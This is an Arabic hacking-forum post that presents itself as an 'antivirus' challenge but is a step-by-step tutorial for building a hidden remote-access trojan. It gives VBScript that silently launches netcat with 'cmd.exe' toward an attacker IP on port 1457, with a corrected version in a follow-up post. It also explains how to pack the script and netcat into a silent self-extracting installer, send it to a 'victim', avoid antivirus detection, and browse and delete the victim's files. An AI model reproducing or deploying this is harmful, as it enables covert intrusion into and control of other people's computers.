السلام عليكم هذا اول موضوع لي في حياتي بالنسبه للمواقع ويشرفني ان يكون الى هذا الموقع جيوش الهكرز الموضوع هوه تحدى اكبر واحسن واحدث انتي فايروس بالعالم !!!!! وتوكلنا على الله 1-نقوم بعمل ملف من نوعvbs 2-نضغطه ببرنامج winrar 3- نحول الضغط الى ملف تنصيب sfx طريقة العمل كون مذكره جديده وضع ذلك الكود داخله Const HIDDEN_wINDOW = 1 strComputer = "." Set objStartup = Getobject("winmgmts:" _ & "{inpersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2:Win32_processStartup") Set objprocess = Getobject("winmgmts:" _ & "{inpersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2:Win32_process") set opjconfig = objStartup.Spawninstance_ objConfig.Showwindow = HIDDEN_WINDOW errrRturn = objprocess.Create("c:\nc.exe -d -e cmd.exe 10.10.149.247 1457",null,objConfig, intprocessID) بعدها غير كلمة ip الى الايبي المطلوب الموجود اسفل الكود اقصد الايبي ثم قم بحفض العمل باسم ثم اكتب اي اسم وبعد الاسم اكتب نقطه وبعدها اكتب vbs مثال altayar.vbs انتهينا من الخطوه الاولى بعدها قم بضغطه ومعه برنامج nc الشهير الذي يتعامل مع اوامر الدوس واتبع الاتي من قائمة general نختار صح على create solid archive بعدها نذهب الى قائمةadvanced ومنها نختار sfx options من القائمه الضاهره نختار general في مستطيل الكتابه الاول نضع c:\ اما في مستطيل الكتابه الثاني نضع اسم ملف ال altayar.vbs نفس المثال السابق والمستطيل الثاني كذالك بعدها انتقل الى الخيار modes بعدها فعل الخيار tout masquer واسفل قليل هم توجد ثلاثة خيارات فعل الخيار remplaccer tous les fichiers بعدها اوكي انتهينا من معضم العمليه سوف ينج لنا ملف تنصيب بصيغة exe حلو بعدها ندخل الى الدوز ونكتب الامر التالي cd desktopحيث الدخول الى سطح المكتب بعض الاحييان يختلف الاسم ولاكن الغالبيه desktop بعدها نكتب الامر للاتصال بالجهاز nc -v -L -P 1457 بعدها ستحدث عملية تنصيب بسيطه وبعدها ستضهر عندك قائمه اختر اوكي الان اخترقنا الجهاز بشكل اكثر من شرعي بعدها حان وقت الدوز فقط يعني انته وهمتك اقصد قوتك باوامر الدوس لانك تتعامل مع غير حاسبه اي تقوم بالدخول ونسخ ومسح وتشغيل اجهزه كالطابعه وغيرها المهم انا وضيفتي المراقبه فقط ولايحق لي التدخل بشيء اخر هذا عن نفسي لاني مقيد بشروط في العمل على كل حال سيضهر المحث هكذا c:\windows\system32 اعطي امر cd\للتخلص من الجذور الفرعيه سيكون المحثc:\ للدخول لسطح المكتب مثلا نكتب الامر التاليC:\********s and Settings\altayar\Desktop c:\cd بعدها نكتب امر dir لعرض ملفات سطح المكتب لمسح ملف c:\del altayar.exeهذا على سبيل المثال يعني تستطيع التجول بشكل ممتع خلال الدوس بالنضام من دون ان يشعر بك الماقبل لاكن بشرط واح من اجل تنفيذ هذا كله يجب ارسال ملف التنصيب للضحيه ومعرفة الايبي ولاتقلق حيث عند فحص الملف باحسن برامج الانتي فايروس سوف لم تؤشر عليه لانه ليس فايروس بل ملف سلمي جدا جدا اتمنى ان تفهمون الشرح الدقيق ولا تستخدموه للمتعه على اي بشر صالح واعذروني اذا انقطعة فتره لاني مشغول جدا الله شاهد كتبت ذالك الدرس لاني في عطله قصيره واعذروني اذا لم تفهمو شيء وقبل ان اقدم الدرس والله العلي العضيم الموضوع ما منقول والسلام عليكم ورحمة الله وبركاته
انا جدا اسف هذا الكود الصحيح Const HIDDEN_WINDOW = 1 strComputer = "." Set objStartup = Getobject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2:Win32_processStartup") Set objProcess = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2:Win32_process") Set objConfig = objStartup.SpawnInstance_ objConfig.Showwindow = HIDDEN_WINDOW errReturn = objprocess.Create("c:\nc.exe -d -e cmd.exe ip 1457",null,objConfig, intprocessID)
تسلممممممممممممم
قوانين المنتدى